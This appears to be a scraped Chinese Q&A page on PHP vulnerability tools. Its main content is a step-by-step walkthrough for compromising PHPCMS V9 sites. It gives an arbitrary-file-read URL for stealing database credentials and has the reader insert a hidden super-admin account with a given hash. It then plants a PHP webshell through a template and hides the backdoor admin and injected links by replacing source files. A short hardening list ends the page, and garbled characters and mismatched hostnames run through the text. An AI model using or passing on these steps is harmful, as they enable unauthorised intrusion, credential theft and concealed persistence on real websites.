大家好，本篇文章为大家解答以上问题，相信很多人对php漏洞检测工具都不是特别的了解，因此呢，今天就来为大家分享下关于php漏洞检测工具以及thinkphp漏洞检测工具的问题知识，还望可以帮助大家，解决大家的一些困惑，下面一起来看看吧！
本文目录一览
1、iis7.0解析漏洞 php用什么软件检测2、漏洞扫描设备检测出服务存在漏洞：可通过HTTPS获取远端WWW服务版信息，如何解决？iis7.0解析漏洞 php用什么软件检测
本文利用了PHPCMS V9的两个漏洞，一个是读取任意文件漏洞，另一个是模版运行php脚本漏洞。使用到的工具：Navicat for Mysql/IE浏览器(建议使用代理)/湛蓝v9代码包（包含文中使用到的所有文件、代码和木马）1、放置data.txt以备在目标站点读取并在目标站点生成PHP木马脚本使用。
例如将data.txt放置在yun.baidu.com/j0192/data.txt
2、通过v9漏洞获取配置信息（请参阅：phpcms V9最新读取站点任意文件漏洞唯顷）。
/index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=../../phpsso_server/caches/configs/database.php
3、通过v9系统漏洞获取到的数据库信息远程登陆目标站点数据库，在v9_admin和v9_sso_admin表中添加账号
username字段：admnpassword字段：10203d4623c1957d041818196ff9822aencrypt 字段：bGV22eissuper 字段: 1
4、通过数据库添加管理员账号后使用以下用户名密码在后台登陆，然后修改当前用户密码。
用户名：admn密码：123456
5、ctrl+a复制write.php全部内容粘贴进v9默认模版下的footer.html保存，然后点击footer.html的可视化运行该模版中的脚本，到此时就完成在目标站点生成木马脚本。
6、打开ifeng.com/caches/caches_template/default/wap/data.class.php
用户名：admin密码：admin
7、隐藏新增加的管理员。
通过木马脚本上传替换/phpcms/modules/admin/admin_manage.php(默认匹配%admn%)，然后登陆目标站点后台查看管理员列表是否还有用户名为admn的超级管纯侍理员，如果没有则表明我们完成了新加管理员的隐藏。
8、隐藏新增加的关联链接
通过木马脚本上传替换/phpcms/modules/admin/keylink.php((默认匹配%skyhome%))
9、将目标网站的漏洞修复，以防其他黑客入侵。
通过木马脚本上传替换/phpcms/modules/search/index.php
防黑参考:
1、关闭数据库远程访问。2、静态文件及附件等文件目录禁止执行权限。3、脚本文件目录禁止写权限。4、系统后台等重要目录限制IP访问。做山吵5、及时关注开源系统官方补丁升级和乌云、sebug等漏洞发布平台，修复系统漏洞。